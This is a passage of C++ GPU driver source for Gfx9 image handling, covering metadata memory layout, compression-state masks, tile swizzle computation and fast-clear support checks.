InitFastClearMetaData(pGpuMemLayout, &forcedOffset, sizeof(Gfx9FastDepthClearMetaData), sizeof(uint32));
*pGpuMemSize = Max(forcedOffset, *pGpuMemSize);
}
else
{
InitFastClearMetaData(pGpuMemLayout, pGpuMemSize, sizeof(Gfx9FastDepthClearMetaData), sizeof(uint32));
}
}
// For shared metadata, the Z Range workaround metadata offset is not listed but following the
// FastClearMetaData. Set up the GPU offset for the waTcCompatZRange metadata
if (needsWaTcCompatZRangeMetaData)
{
InitWaTcCompatZRangeMetaData(pGpuMemLayout, pGpuMemSize);
}
// Set up the GPU offset for the DCC state metadata.
if (needsDccStateMetaData)
{
if (useSharedMetadata)
{
gpusize forcedOffset = sharedMetadata.dccStateMetaDataOffset;
InitDccStateMetaData(pGpuMemLayout, &forcedOffset);
*pGpuMemSize = Max(forcedOffset, *pGpuMemSize);
}
else
{
InitDccStateMetaData(pGpuMemLayout, pGpuMemSize);
}
}
// Texture-compatible color images on can only be fast-cleared to certain colors; otherwise the TC won't
// understand the color data. For non-supported fast-clear colors, we can either
// a) do a slow-clear of the image
// b) fast-clear the image anyway and do a fast-clear-eliminate pass when the image is bound as a texture.
//
// So, if all these conditions are true:
// a) This image supports fast-clears in the first place
// b) This is a color image
// c) We always fast-clear regardless of the clear-color (meaning a fast-clear eliminate will be required)
// d) This image is going to be used as a texture
//
// Then setup memory to be used to conditionally-execute the fast-clear-eliminate pass based on the clear-color.
if (needsFastColorClearMetaData &&
(Parent()->IsDepthStencil() == false) &&
ColorImageSupportsAllFastClears() &&
(pBaseSubResInfo->flags.supportMetaDataTexFetch != 0))
{
if (useSharedMetadata)
{
if (sharedMetadata.fastClearEliminateMetaDataOffset)
{
gpusize forcedOffset = sharedMetadata.fastClearEliminateMetaDataOffset;
InitFastClearEliminateMetaData(pGpuMemLayout, &forcedOffset);
*pGpuMemSize = Max(forcedOffset, *pGpuMemSize);
}
}
else
{
InitFastClearEliminateMetaData(pGpuMemLayout, pGpuMemSize);
}
}
// NOTE: We're done adding bits of GPU memory to our image; its GPU memory size is now final.
// If we have a valid metadata header offset we also need a metadata header size.
if (pGpuMemLayout->metadataHeaderOffset != 0)
{
pGpuMemLayout->metadataHeaderSize = (*pGpuMemSize - pGpuMemLayout->metadataHeaderOffset);
}
if (needsHtileLookupTable)
{
if (useSharedMetadata)
{
gpusize forcedOffset = sharedMetadata.htileLookupTableOffset;
InitHtileLookupTable(pGpuMemLayout, &forcedOffset, pGpuMemAlignment);
*pGpuMemSize = Max(forcedOffset, *pGpuMemSize);
}
else
{
InitHtileLookupTable(pGpuMemLayout, pGpuMemSize, pGpuMemAlignment);
}
}
m_gpuMemSyncSize = *pGpuMemSize;
if (useCmask && settings.waCmaskImageSyncs)
{
// Keep the size to sync the same, and pad the required allocation size up to the next fragment multiple.
*pGpuMemSize = Pow2Align(*pGpuMemSize, m_device.MemoryProperties().fragmentSize);
}
InitLayoutStateMasks();
if (m_createInfo.flags.prt != 0)
{
m_device.GetAddrMgr()->ComputePackedMipInfo(*Parent(), pGpuMemLayout);
}
}
return result;
}
// =====================================================================================================================
// The CopyImageToMemory functions use the same format for the source and destination (i.e., image and buffer).
// Not all image formats are supported as buffer formats. If the format doesn't work for both, then we need
// to force decompressions which will force image-replacement in the copy code.
bool Image::DoesImageSupportCopySrcCompression() const
{
const GfxIpLevel gfxLevel = m_device.ChipProperties().gfxLevel;
const ChNumFormat createFormat = m_createInfo.swizzledFormat.format;
bool supportsCompression = true;
if (gfxLevel == GfxIpLevel::GfxIp9)
{
const auto*const pFmtInfo = MergedChannelFmtInfoTbl(gfxLevel);
const BUF_DATA_FORMAT hwBufferDataFmt = HwBufDataFmt(pFmtInfo, createFormat);
supportsCompression = (hwBufferDataFmt != BUF_DATA_FORMAT_INVALID);
}
return supportsCompression;
}
// =====================================================================================================================
// Initializes the layout-to-state masks which are used by Device::Barrier() to determine which operations are needed
// when transitioning between different Image layouts.
void Image::InitLayoutStateMasks()
{
const Gfx9PalSettings& settings = GetGfx9Settings(m_device);
const SubResourceInfo*const pBaseSubResInfo = Parent()->SubresourceInfo(0);
const bool isComprFmaskShaderReadable = IsComprFmaskShaderReadable(Parent()->GetBaseSubResource());
const bool isMsaa = (m_createInfo.samples > 1);
if (HasColorMetaData())
{
PAL_ASSERT(Parent()->IsDepthStencil() == false);
// Always allow compression for layouts that only support the color target usage.
m_layoutToState.color.compressed.usages = LayoutColorTarget;
m_layoutToState.color.compressed.engines = LayoutUniversalEngine;
// Additional usages may be allowed for an image in the compressed state.
if (pBaseSubResInfo->flags.supportMetaDataTexFetch != 0)
{
if (TestAnyFlagSet(UseComputeExpand, (isMsaa ? UseComputeExpandMsaaDcc : UseComputeExpandDcc)))
{
m_layoutToState.color.compressed.engines |= LayoutComputeEngine;
}
if (isMsaa)
{
// Resolve can take 3 different paths inside pal:-
// a. FixedFuncHWResolve :- in this case since CB does all the work we can keep everything compressed.
// b. ShaderBasedResolve (when format match/native resolve):- We can keep entire color compressed.
// c. ShaderBasedResolve (when format don't match) :- In this case we won't end up here since pal won't
// allow any DCC surface and hence tc-compatibility flag supportMetaDataTexFetch will be 0.
// conclusion:- We can keep it compressed in all cases.
m_layoutToState.color.compressed.usages |= LayoutResolveSrc;
// As stated above we only land up here if dcc is allocated and we are tc-compatible and also in
// this case on gfxip8 we will have fmask surface tc-compatible, which means we can keep colorcompressed
// for fmaskbasedmsaaread
m_layoutToState.color.compressed.usages |= LayoutShaderFmaskBasedRead;
}
else
{
if (DoesImageSupportCopySrcCompression())
{
// Our copy path has been designed to allow compressed copy sources.
m_layoutToState.color.compressed.usages |= LayoutCopySrc;
}
// You can't raw copy to a compressed texture, you can only write to it using the image's format.
// Add in LayoutCopyDst if the client promises that all copies will only write using the image's
// format.
if (m_createInfo.flags.copyFormatsMatch != 0)
{
m_layoutToState.color.compressed.usages |= LayoutCopyDst;
}
// We can keep this layout compressed if all view formats are DCC compatible.
if (Parent()->GetDccFormatEncoding() != DccFormatEncoding::Incompatible)
{
m_layoutToState.color.compressed.usages |= LayoutShaderRead;
}
}
}
else if (isMsaa && isComprFmaskShaderReadable)
{
// We can't be tc-compatible here
PAL_ASSERT(pBaseSubResInfo->flags.supportMetaDataTexFetch == 0);
// Also since we can't be tc-compatible we must not have dcc data
PAL_ASSERT(HasDccData() == false);
// Resolve can take 3 different paths inside pal:-
// a. FixedFuncHWResolve :- in this case since CB does all the work we can keep everything compressed.
// b. ShaderBasedResolve (when format match/native resolve):- We can keep entire color compressed.
// c. ShaderBasedResolve (when format don't match) :- since we have no dcc surface for such resources
// and fmask itself is in tc-compatible state, it is safe for us to keep it colorcompressed. unless
// we have a dcc surface but we are not tc-compatible in that case we can't remain color compressed
// conclusion :- In this case it is safe for us to keep entire color compressed except one case as
// identified above. We only make fmask tc-compatible when we can keep entire color surface compressed.
m_layoutToState.color.compressed.usages |= LayoutResolveSrc;
// The only case it won't work if DCC is allocated and yet this surface is not tc-compatible, if dcc
// was never allocated then we can keep entire image color compressed (isComprFmaskShaderReadable takes
// care of it).
m_layoutToState.color.compressed.usages |= LayoutShaderFmaskBasedRead;
}
// The Fmask-decompressed state is only valid for MSAA images. This state implies that the base color data
// is still compressed, but fmask is expanded so that it is readable by the texture unit even if metadata
// texture fetches are not supported.
if (isMsaa)
{
// Postpone all decompresses for the ResolveSrc state from Barrier-time to Resolve-time.
m_layoutToState.color.compressed.usages |= LayoutResolveSrc;
// Our copy path has been designed to allow color compressed MSAA copy sources.
m_layoutToState.color.fmaskDecompressed.usages = LayoutColorTarget | LayoutCopySrc;
// Resolve can take 3 different paths inside pal:-
// a. FixedFuncHWResolve :- in this case since CB does all the work we can keep everything compressed.
// b. ShaderBasedResolve (when format match/native resolve):- We can keep entire color compressed and
// hence also in fmaskdecompressed state. If we have a DCC surface but no tc-compatibility even that
// case is not a problem since at barrier time we will issue a dccdecompress
// c. ShaderBasedResolve (when format don't match) :- we won't have dcc surface in this case and hence
// it is completely fine to keep color into fmaskdecompressed state.
m_layoutToState.color.fmaskDecompressed.usages |= LayoutResolveSrc;
// We can keep this resource into Fmaskcompressed state since barrier will handle any corresponding
// decompress for cases when dcc is present and we are not tc-compatible.
m_layoutToState.color.fmaskDecompressed.usages |= LayoutShaderFmaskBasedRead;
m_layoutToState.color.fmaskDecompressed.engines = LayoutUniversalEngine | LayoutComputeEngine;
}
}
else if (m_pHtile != nullptr)
{
PAL_ASSERT(Parent()->IsDepthStencil());
// Identify usages supporting DB rendering
constexpr uint32 DbUsages = LayoutDepthStencilTarget;
// NOTE: we also have DB-based resolve and copy paths, but we choose compute-based paths for those for
// depth-stencil. The path also does not yet check the layout at all. That is why here we do not
// report them as being DB-compatible layouts.
// Identify the supported shader readable usages
constexpr uint32 ShaderReadUsages = LayoutCopySrc | LayoutResolveSrc | LayoutShaderRead;
// Layouts that are decompressed (with hiz enabled) support both depth rendering and shader reads (though
// not shader writes) in the universal queue and compute queue.
// For resolve dst, HiZ is always valid whatever pixel shader resolve or depth-stencil copy resolve performed:
// 1. Htile is valid during pixel shader resolve.
// 2. Htile copy-and-fix-up will be performed after depth-stencil copy resolve to ensure HiZ to be valid.
ImageLayout decomprWithHiZ;
decomprWithHiZ.usages = DbUsages | ShaderReadUsages | LayoutResolveDst;
decomprWithHiZ.engines = LayoutUniversalEngine | LayoutComputeEngine;
// If the client has given us a hint that this Image never does anything to this Image which would cause
// the Image data and Hi-Z to become out-of-sync, we can include all layouts in the decomprWithHiZ state
// because this Image will never need to do a resummarization blit.
if (m_createInfo.usageFlags.hiZNeverInvalid != 0)
{
decomprWithHiZ.usages = AllDepthImageLayoutFlags;
decomprWithHiZ.engines = LayoutUniversalEngine | LayoutComputeEngine | LayoutDmaEngine;
}
// Layouts that are compressed support all DB compatible usages in the universal queue
ImageLayout compressedLayouts;
compressedLayouts.usages = DbUsages;
compressedLayouts.engines = LayoutUniversalEngine;
if (isMsaa)
{
if (Formats::BitsPerPixel(m_createInfo.swizzledFormat.format) == 8)
{
// Decompress stencil only format image does not need sample location information
compressedLayouts.usages |= LayoutResolveSrc;
}
else
{
#if PAL_CLIENT_INTERFACE_MAJOR_VERSION >= 406
bool sampleLocsAlwaysKnown = m_createInfo.flags.sampleLocsAlwaysKnown;
#else
bool sampleLocsAlwaysKnown = true;
#endif
// Postpone decompresses for HTILE from Barrier-time to Resolve-time if sample location is always known.
if (sampleLocsAlwaysKnown)
{
compressedLayouts.usages |= LayoutResolveSrc;
}
}
}
// With a TC-compatible htile, even the compressed layout is shader-readable
if (pBaseSubResInfo->flags.supportMetaDataTexFetch != 0)
{
compressedLayouts.usages |= ShaderReadUsages;
const bool supportsDepth = m_device.SupportsDepth(m_createInfo.swizzledFormat.format,
m_createInfo.tiling);
const bool supportsStencil = m_device.SupportsStencil(m_createInfo.swizzledFormat.format,
m_createInfo.tiling);
// Our compute-based hTile expand option can only operate on one aspect (depth or stencil) at a
// time, but it will overwrite hTile data for both aspects once it's done. :-( So we can only
// use the compute path for images with a single aspect.
if (supportsDepth ^ supportsStencil)
{
if (TestAnyFlagSet(UseComputeExpand, (isMsaa ? UseComputeExpandMsaaDepth : UseComputeExpandDepth)))
{
compressedLayouts.engines |= LayoutComputeEngine;
}
}
}
// Supported depth layouts per compression state
const uint32 depth = GetDepthStencilStateIndex(ImageAspect::Depth);
const uint32 stencil = GetDepthStencilStateIndex(ImageAspect::Stencil);
m_layoutToState.depthStencil[depth].compressed = compressedLayouts;
m_layoutToState.depthStencil[depth].decomprWithHiZ = decomprWithHiZ;
// Supported stencil layouts per compression state
if (m_pHtile->TileStencilDisabled() == false)
{
m_layoutToState.depthStencil[stencil].compressed = compressedLayouts;
m_layoutToState.depthStencil[stencil].decomprWithHiZ = decomprWithHiZ;
}
else
{
m_layoutToState.depthStencil[stencil].compressed.usages = 0;
m_layoutToState.depthStencil[stencil].compressed.engines = 0;
m_layoutToState.depthStencil[stencil].decomprWithHiZ.usages = 0;
m_layoutToState.depthStencil[stencil].decomprWithHiZ.engines = 0;
}
}
}
// =====================================================================================================================
// Gets the raw base address for the specified mask-ram.
gpusize Image::GetMaskRamBaseAddr(
const MaskRam* pMaskRam
) const
{
const gpusize maskRamMemOffset = pMaskRam->MemoryOffset();
// Verify that the mask ram isn't thought to be in the same place as the image itself. That would be "bad".
PAL_ASSERT(maskRamMemOffset != 0);
const gpusize baseAddr = m_pParent->GetBoundGpuMemory().GpuVirtAddr() + maskRamMemOffset;
// PAL doesn't respect the high-address programming fields (i.e., they're always set to zero). Ensure that
// they're not supposed to be set. :-) If this trips, we have a big problem.
PAL_ASSERT(Get256BAddrHi(baseAddr) == 0);
return baseAddr;
}
// =====================================================================================================================
// Calculates the shifted base address for the specified mask-ram. Returned address includes the pipe/bank xor
// value associated with the specified aspect.
uint32 Image::GetMaskRam256BAddr(
const Gfx9MaskRam* pMaskRam,
ImageAspect aspect
) const
{
return Get256BAddrSwizzled(GetMaskRamBaseAddr(pMaskRam), pMaskRam->GetPipeBankXor(*this, aspect));
}
// =====================================================================================================================
uint32 Image::GetHtile256BAddr() const
{
// Need to obtain the address off of the base mip-level / slice. The HW is responsible for determining the
// address of the requeusted mip-level / slice based on the information provided to the SRD.
const SubresId baseSubres = Parent()->GetBaseSubResource();
return GetMaskRam256BAddr(GetHtile(), baseSubres.aspect);
}
// =====================================================================================================================
// Calculates the shifted base address for fMask, including the pipe/bank xor
uint32 Image::GetFmask256BAddr() const
{
const Gfx9Fmask*const pFmask = GetFmask();
// fMask surfaces have a pipe/bank xor value which is independent of the main image's pipe/bank xor value
return Get256BAddrSwizzled(GetMaskRamBaseAddr(pFmask), pFmask->GetPipeBankXor());
}
// =====================================================================================================================
// Calculate the tile swizzle (pipe/bank XOR value).
Result Image::ComputePipeBankXor(
ImageAspect aspect,
const ADDR2_GET_PREFERRED_SURF_SETTING_OUTPUT* pSurfSetting,
uint32* pPipeBankXor
) const
{
Result result = Result::Success;
const PalSettings& coreSettings = m_device.Settings();
// Also need to make sure that mip0 is not in miptail. In this case, tile swizzle cannot be supported. With current
// design, when mip0 is in the miptail, swizzleOffset would be negative. This is a problem because the offset in MS
// interface is a UINT.
//
// However, fMask is an independent surface from the parent image; it has its own swizzle mode and everything.
// fMask only applies to MSAA surfaces and MSAA surfaces don't support mip levels.
const BOOL_32 mipChainInTail = ((aspect != ImageAspect::Fmask)
? m_addrSurfOutput[GetAspectIndex(aspect)].mipChainInTail
: FALSE);
// A pipe/bank xor setting of zero is always valid.
*pPipeBankXor = 0;
// Tile swizzle only works with some of the tiling modes... make sure the tile mode is compatible. Note that
// while the pSurfSetting structure has a "canXor" output, that simply means that the returned swizzle mode
// has an "_X" equivalent, not that the supplied swizzle mode is an "_X" mode. We need to check that ourselves.
if (AddrMgr2::IsXorSwizzle(pSurfSetting->swizzleMode) && (mipChainInTail == FALSE))
{
if (m_pImageInfo->internalCreateInfo.flags.useSharedTilingOverrides)
{
if (aspect == ImageAspect::Color)
{
// If this is a shared image, then the pipe/bank xor value has been given to us. Just take that.
*pPipeBankXor = m_pImageInfo->internalCreateInfo.gfx9.sharedPipeBankXor;
}
else if (aspect == ImageAspect::Fmask)
{
// If this is a shared image, then the pipe/bank xor value has been given to us. Just take that.
*pPipeBankXor = m_pImageInfo->internalCreateInfo.gfx9.sharedPipeBankXorFmask;
}
else
{
PAL_NOT_IMPLEMENTED();
}
}
else if (Parent()->IsPeer())
{
// Peer images must have the same pipe/bank xor value as the original image. The pipe/bank xor
// value is constant across all mips / slices associated with a given aspect.
const SubresId subResId = { aspect, 0, 0 };
*pPipeBankXor = AddrMgr2::GetTileInfo(Parent()->OriginalImage(), subResId)->pipeBankXor;
}
else if (m_createInfo.flags.fixedTileSwizzle != 0)
{
// Our XOR value was specified by the client using the "tileSwizzle" property. Note that we only support
// this for single-sampled color images, otherwise we'd need more inputs to cover the other aspects.
//
// It's possible for us to hang the HW if we use an XOR value computed for a different aspect so we must
// return a safe value like the default of zero if the client breaks these rules.
if ((aspect == ImageAspect::Color) && (m_createInfo.fragments == 1))
{
*pPipeBankXor = m_createInfo.tileSwizzle;
}
else
{
PAL_ASSERT_ALWAYS();
}
}
else
{
const Gfx9PalSettings& settings = GetGfx9Settings(m_device);
// Presentable/flippable images cannot use tile swizzle because the display engine doesn't support it.
const bool supportSwizzle = ((Parent()->IsPresentable() == false) &&
(Parent()->IsFlippable() == false) &&
(Parent()->IsPrivateScreenPresent() == false));
// Ok, this surface can conceivably use swizzling... make sure the settings allow swizzling for
// this surface type as well.
if (supportSwizzle &&
// Check to see if non-zero fMask pipe-bank-xor values are allowed.
((aspect != ImageAspect::Fmask) || settings.fmaskAllowPipeBankXor) &&
((TestAnyFlagSet(coreSettings.tileSwizzleMode, TileSwizzleColor) && Parent()->IsRenderTarget()) ||
(TestAnyFlagSet(coreSettings.tileSwizzleMode, TileSwizzleDepth) && Parent()->IsDepthStencil()) ||
(TestAnyFlagSet(coreSettings.tileSwizzleMode, TileSwizzleShaderRes))))
{
uint32 surfaceIndex = 0;
if (Parent()->IsDepthStencil())
{
// The depth-stencil index is fixed to the plane index so it's safe to use it in all cases.
surfaceIndex = m_pParent->GetPlaneFromAspect(aspect);
}
else if (Parent()->IsDataInvariant() || Parent()->IsCloneable())
{
// Data invariant and cloneable images must generate identical swizzles given identical create info.
// This means we can hash the public create info struct to get half-way decent swizzling.
//
// Note that one client is not able to guarantee that they consistently set the perSubresInit flag
// for all images that must be identical so we need to skip over the ImageCreateFlags.
constexpr size_t HashOffset = offsetof(ImageCreateInfo, usageFlags);
constexpr uint64 HashSize = sizeof(ImageCreateInfo) - HashOffset;
const uint8* pHashStart = reinterpret_cast<const uint8*>(&m_createInfo) + HashOffset;
uint64 hash = 0;
MetroHash64::Hash(
pHashStart,
HashSize,
reinterpret_cast<uint8* const>(&hash));
surfaceIndex = MetroHash::Compact32(hash);
}
else if (aspect == ImageAspect::Fmask)
{
// Fmask check has to be first because everything else is checking the properties of the image
// which owns the Fmask buffer... those properties will still be true.
surfaceIndex = s_fMaskSwizzleIdx++;
}
else if (Parent()->IsRenderTarget())
{
surfaceIndex = s_cbSwizzleIdx++;
}
else
{
surfaceIndex = s_txSwizzleIdx++;
}
const auto* pBaseSubResInfo = Parent()->SubresourceInfo(0);
const auto*const pAddrMgr = static_cast<const AddrMgr2::AddrMgr2*>(m_device.GetAddrMgr());
ADDR2_COMPUTE_PIPEBANKXOR_INPUT pipeBankXorInput = { };
pipeBankXorInput.size = sizeof(pipeBankXorInput);
pipeBankXorInput.surfIndex = surfaceIndex;
pipeBankXorInput.flags = pAddrMgr->DetermineSurfaceFlags(*Parent(), aspect);
pipeBankXorInput.swizzleMode = pSurfSetting->swizzleMode;
pipeBankXorInput.resourceType = pSurfSetting->resourceType;
pipeBankXorInput.format = Pal::Image::GetAddrFormat(pBaseSubResInfo->format.format);
pipeBankXorInput.numSamples = m_createInfo.samples;
pipeBankXorInput.numFrags = m_createInfo.fragments;
ADDR2_COMPUTE_PIPEBANKXOR_OUTPUT pipeBankXorOutput = { };
pipeBankXorOutput.size = sizeof(pipeBankXorOutput);
ADDR_E_RETURNCODE addrRetCode = Addr2ComputePipeBankXor(m_device.AddrLibHandle(),
&pipeBankXorInput,
&pipeBankXorOutput);
if (addrRetCode == ADDR_OK)
{
*pPipeBankXor = pipeBankXorOutput.pipeBankXor;
}
else
{
result = Result::ErrorUnknown;
}
} // End check for a suitable surface
} // End check for a suitable swizzle mode
}
return result;
}
// =====================================================================================================================
// Returns the layout-to-state mask for a depth/stencil Image. This should only ever be called on a depth/stencil
// Image.
const DepthStencilLayoutToState& Image::LayoutToDepthCompressionState(
const SubresId& subresId
) const
{
return m_layoutToState.depthStencil[GetDepthStencilStateIndex(subresId.aspect)];
}
// =====================================================================================================================
Image* GetGfx9Image(
const IImage* pImage)
{
return static_cast<Pal::Gfx9::Image*>(static_cast<const Pal::Image*>(pImage)->GetGfxImage());
}
// =====================================================================================================================
const Image& GetGfx9Image(
const IImage& image)
{
return static_cast<Pal::Gfx9::Image&>(*static_cast<const Pal::Image&>(image).GetGfxImage());
}
// =====================================================================================================================
bool Image::IsFastColorClearSupported(
GfxCmdBuffer* pCmdBuffer,
ImageLayout colorLayout,
const uint32* pColor,
const SubresRange& range)
{
const SubresId& subResource = range.startSubres;
// We can only fast clear all arrays at once.
bool isFastClearSupported =
(ImageLayoutToColorCompressionState(m_layoutToState.color, colorLayout) == ColorCompressed) &&
(subResource.arraySlice == 0) &&
(range.numSlices == m_createInfo.arraySize);
// GFX9 only supports fast color clears using DCC memory; having cMask does nothing for fast-clears.
if (HasDccData() && isFastClearSupported)
{
const auto& settings = GetGfx9Settings(m_device);
// Fast clears with DCC really implies using a compute shader to write a special code into DCC memory.
//
// Allow fast clears if we are:
// 1) Using the compute engine to overwrite DCC memory.
// 2) Using the graphics engine and the settings are requesting compute-based clears.
// Compute-based clears should be faster than graphics-based "semi fast clears"
isFastClearSupported = ((pCmdBuffer->GetEngineType() == EngineTypeCompute) ||
TestAnyFlagSet(settings.dccOnComputeEnable, Gfx9DccOnComputeFastClear));
if (isFastClearSupported)
{
// A count of 1 indicates that no command buffer has skipped a fast clear eliminate and hence holds a
// reference to this image's ref counter. 0 indicates that the optimzation is not enabled for this image.
const bool noSkippedFastClearElim = (Pal::GfxImage::GetFceRefCount() <= 1);
const bool isClearColorTcCompatible = IsFastClearColorMetaFetchable(pColor);
SetNonTcCompatClearFlag(isClearColorTcCompatible == false);
// Figure out if we can do a a non-TC compatible DCC fast clear. This kind of fast clear works on any
// clear color, but requires a fast clear eliminate blt.
const bool nonTcCompatibleFastClearPossible =
// Non-universal queues can't execute CB fast clear eliminates. If the image layout declares a non-
// universal queue type as currently legal, the barrier to execute such a blit may occur on one of those
// unsupported queues and thus will be ignored. Because there's a chance the eliminate may be skipped,
// we must not allow the kind of fast clear that requires one.
(colorLayout.engines == LayoutUniversalEngine) &&
// The image setting must dictate that all fast clear colors are allowed -- not just TC-compatible ones
// (this is a profile preference in case sometimes the fast clear eliminate becomes too expensive for
// specific applications)
ColorImageSupportsAllFastClears() &&
// Allow non-TC compatible clears only if there are no skipped fast clear eliminates.
noSkippedFastClearElim;
// Figure out if we can do a TC-compatible DCC fast clear (one that requires no fast clear eliminate blt)
const bool tcCompatibleFastClearPossible =
// Short-circuit the rest of the checks: if we can already agree to do a full fast clear, we don't need
// to care about evaluating a TC-compatible fast clear
(nonTcCompatibleFastClearPossible == false) &&
// The image must support TC-compatible reads from DCC-compressed surfaces
(Parent()->SubresourceInfo(subResource)->flags.supportMetaDataTexFetch != 0) &&
// The clear value must be TC-compatible
isClearColorTcCompatible;
// Allow fast clear only if either is possible
isFastClearSupported = (nonTcCompatibleFastClearPossible || tcCompatibleFastClearPossible);
}
}
return isFastClearSupported;
}
// =====================================================================================================================
// Ok, this image is (potentially) going to be the target of a texture fetch. However, the texture fetch block
// only understands these four fast-clear colors:
// 1) ARGB(0, 0, 0, 0)
// 2) ARGB(1, 0, 0, 0)
// 3) ARGB(0, 1, 1, 1)
// 4) ARGB(1, 1, 1, 1)
//
// So.... If "pColor" corresponds to one of those, we're golden, otherwise, the caller needs to do slow-clears
// for everything. This function returns whether the incoming clear value is readable.
bool Image::IsFastClearColorMetaFetchable(
const uint32* pColor
) const
{
const ChNumFormat format = m_createInfo.swizzledFormat.format;
const uint32 numComponents = NumComponents(format);
const ChannelSwizzle* pSwizzle = &m_createInfo.swizzledFormat.swizzle.swizzle[0];
bool rgbSeen = false;
uint32 requiredRgbValue = 0; // not valid unless rgbSeen==true
bool isMetaFetchable = true;
for (uint32 cmpIdx = 0; ((cmpIdx < numComponents) && isMetaFetchable); cmpIdx++)
{
// Get the value of 1 in terms of this component's bit-width / numeric-type
const uint32 one = TranslateClearCodeOneToNativeFmt(cmpIdx);
if ((pColor[cmpIdx] != 0) && (pColor[cmpIdx] != one))
{
// This channel isn't zero or one, so we can't fast clear
isMetaFetchable = false;
}
else
{
switch (pSwizzle[cmpIdx])
{
case ChannelSwizzle::W:
// All we need here is a zero-or-one value, which we already verified above.
break;
case ChannelSwizzle::X:
case ChannelSwizzle::Y:
case ChannelSwizzle::Z:
if (rgbSeen == false)
{
// Don't go down this path again.
rgbSeen = true;
// This is the first r-g-b value that we've come across, and it's a known zero-or-one value.
// All future RGB values need to match this one, so just record this value for comparison
// purposes.
requiredRgbValue = pColor[cmpIdx];
}
else if (pColor[cmpIdx] != requiredRgbValue)
{
// Fast clear is a no-go.
isMetaFetchable = false;
}
break;
default:
// We don't really care about the non-RGBA channels. It's either going to be zero or one, which
// suits our purposes just fine. :-)
break;
} // end switch on the component select
}
} // end loop through all the components of this format
return isMetaFetchable;
}
// =====================================================================================================================
bool Image::IsFastClearDepthMetaFetchable(
float depth
) const
{
return ((depth == 0.0f) || (depth == 1.0f));
}
// =====================================================================================================================
bool Image::IsFastClearStencilMetaFetchable(
uint8 stencil
) const
{
return (stencil == 0);
}
// =====================================================================================================================
bool Image::IsFastDepthStencilClearSupported(
ImageLayout depthLayout,
ImageLayout stencilLayout,
float depth,
uint8 stencil,
const SubresRange& range
) const
{
const SubresId& subResource = range.startSubres;
// We can only fast clear all arrays at once.
bool isFastClearSupported = (subResource.arraySlice == 0) && (range.numSlices == m_createInfo.arraySize);
if (isFastClearSupported)
{
const SubResourceInfo*const pSubResInfo = m_pParent->SubresourceInfo(subResource);
// Subresources that do not enable a fast clear method at all can not be fast cleared
const ClearMethod clearMethod = pSubResInfo->clearMethod;
// Choose which layout to use based on range aspect
const ImageLayout layout = (subResource.aspect == ImageAspect::Depth) ? depthLayout : stencilLayout;
// Check if we're even allowing fast (compute) or depth-fast-graphics (gfx) based fast clears on this surface.
// If not, there's nothing to do.
if ((clearMethod != ClearMethod::Fast) && (clearMethod != ClearMethod::DepthFastGraphics))
{
isFastClearSupported = false;
}
else
{
// Map from layout to supported compression state
const DepthStencilCompressionState state =
ImageLayoutToDepthCompressionState(LayoutToDepthCompressionState(subResource), layout);
// Layouts that do not support depth-stencil compression can not be fast cleared
if (state != DepthStencilCompressed)
{
isFastClearSupported = false;
}
}
if (pSubResInfo->flags.supportMetaDataTexFetch != 0)
{
if (subResource.aspect == ImageAspect::Depth)
{
isFastClearSupported &= IsFastClearDepthMetaFetchable(depth);
}
else if (subResource.aspect == ImageAspect::Stencil)
{
isFastClearSupported &= IsFastClearStencilMetaFetchable(stencil);
}
}
else
{
// If we are doing a non TC compatible htile fast clear, we need to be able to execute a DB decompress
// on any of the queue types enabled by the current layout. This is only possible on universal queues.
isFastClearSupported &= (layout.engines == LayoutUniversalEngine);
}
}
return isFastClearSupported;
}
// =====================================================================================================================
// Determines if this image supports being cleared or copied with format replacement.
bool Image::IsFormatReplaceable(
const SubresId& subresId,
ImageLayout layout
) const
{
bool isFormatReplaceable = false;
if (Parent()->IsDepthStencil())
{
const auto layoutToState = m_layoutToState.depthStencil[GetDepthStencilStateIndex(subresId.aspect)];
// Htile must either be disabled or we must be sure that the texture pipe doesn't need to read it.
// Depth surfaces are either Z-16 unorm or Z-32 float; they would get replaced to x16-uint or x32-uint.
// Z-16 unorm is actually replaceable, but Z-32 float will be converted to unorm if replaced.
isFormatReplaceable =
((HasHtileData() == false) ||
(ImageLayoutToDepthCompressionState(layoutToState, layout) != DepthStencilCompressed));
}
else
{
// DCC must either be disabled or we must be sure that it is decompressed.
isFormatReplaceable =
((HasDccData() == false) ||
(ImageLayoutToColorCompressionState(m_layoutToState.color, layout) == ColorDecompressed));
}
return isFormatReplaceable;
}
// =====================================================================================================================
// Determines the memory requirements for this image.
void Image::OverrideGpuMemHeaps(
GpuMemoryRequirements* pMemReqs // [in,out] returns with populated 'heap' info
) const
{
// If this surface has meta-data and the equations are being processed via the CPU, then make sure that this
// surface is in a mappable heap.
if (((HasColorMetaData() || HasHtileData()) &&
GetGfx9Settings(m_device).processMetaEquationViaCpu))
{
uint32 heapIdx = 0;
pMemReqs->heaps[heapIdx++] = GpuHeapLocal;
pMemReqs->heaps[heapIdx++] = GpuHeapGartUswc;
pMemReqs->heaps[heapIdx++] = GpuHeapGartCacheable;
pMemReqs->heapCount = heapIdx;
}
}
// =====================================================================================================================
bool Image::IsSubResourceLinear(
const SubresId& subresource
) const
{
bool isLinear = false;
// The "GetAspectIndex" function will assert on an fMask aspect; at any rate, there is no valid index into the
// m_addrSurfsetting array for fMask (the fMask version of that structure is stored in the Gfx9Fmask class, not
// here).
if (subresource.aspect != ImageAspect::Fmask)
{
const uint32 aspectIndex = GetAspectIndex(subresource.aspect);
const AddrSwizzleMode swizzleMode = m_addrSurfSetting[aspectIndex].swizzleMode;
isLinear = (swizzleMode == ADDR_SW_LINEAR);
}
else
{
isLinear = ((m_pFmask != nullptr) && m_pFmask->GetSwizzleMode() == ADDR_SW_LINEAR);
}
return isLinear;
}
// =====================================================================================================================
// Returns an index into the m_addrSurfOutput array.
uint32 Image::GetAspectIndex(
ImageAspect aspect
) const
{
uint32 aspectIdx = 0;
switch (aspect)
{
case ImageAspect::Depth:
case ImageAspect::Stencil:
aspectIdx = GetDepthStencilStateIndex(aspect);
break;
case ImageAspect::CbCr:
case ImageAspect::Cb:
aspectIdx = 1;
break;
case ImageAspect::Cr:
aspectIdx = 2;
break;
case ImageAspect::YCbCr:
case ImageAspect::Y:
case ImageAspect::Color:
aspectIdx = 0;
break;
default:
PAL_NEVER_CALLED();
break;
}
PAL_ASSERT (aspectIdx < MaxNumPlanes);
return aspectIdx;
}
// =====================================================================================================================
// Returns a pointer to all of the address library's surface-output calculations that pertain to the specified
// subresource.
const ADDR2_COMPUTE_SURFACE_INFO_OUTPUT* Image::GetAddrOutput(
const SubResourceInfo* pSubResInfo
) const
{
